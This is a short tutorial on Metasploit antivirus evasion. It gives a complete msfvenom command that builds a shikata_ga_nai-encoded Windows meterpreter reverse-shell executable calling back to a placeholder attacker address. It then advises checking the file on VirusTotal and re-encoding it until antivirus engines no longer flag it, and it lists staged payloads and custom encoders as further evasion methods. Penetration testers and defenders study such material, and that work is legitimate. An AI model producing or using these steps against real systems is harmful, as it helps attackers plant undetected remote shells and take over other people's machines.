Evasion with Metasploit

Metasploit Anti-Virus Evasion

How Metasploit Evasion Works

Metasploit allows users to create payloads that are specifically designed to bypass AV detection. One way it achieves this is by encoding payloads using different encoding techniques that make the payload appear as benign to AV software.

Using Metasploit's Evasion Features

1. Generate a Payload with Evasion

To generate a payload with evasion capabilities, you can use the msfvenom command in Metasploit. You can specify different encoders to encode the payload, which makes it harder for AV software to detect.

Example of generating an encoded payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -e x86/shikata_ga_nai -f exe > payload.exe

Here:

• -p windows/meterpreter/reverse_tcp specifies the payload.

• LHOST and LPORT define the attacker's IP and listening port.

• -e x86/shikata_ga_nai specifies an encoder to evade detection.

• -f exe creates an executable file.

The shikata_ga_nai encoder is a well-known encoder used for evading AV detection. Metasploit supports a variety of encoders, each with unique obfuscation techniques.

1. Test the Payload with VirusTotal

Once the payload is generated, you may want to test its detection rate using VirusTotal. VirusTotal scans files with multiple antivirus engines, allowing you to see how likely it is that your payload will be flagged.

You can upload the file to VirusTotal and check the results:

https://www.virustotal.com/

If your payload is detected, you may need to change the encoding or use other techniques to further evade AV detection.

Metasploit Evasion Techniques:

• Encoding Payloads: As shown above, encoding the payload with msfvenom can help avoid detection by AV software.

• Custom Encoders: Metasploit allows you to create custom encoders or use third-party encoding techniques for added evasion.

• Staging Payloads: Metasploit’s staged payloads can split the attack into two parts (the initial payload and the second-stage payload), which can bypass detection methods.

---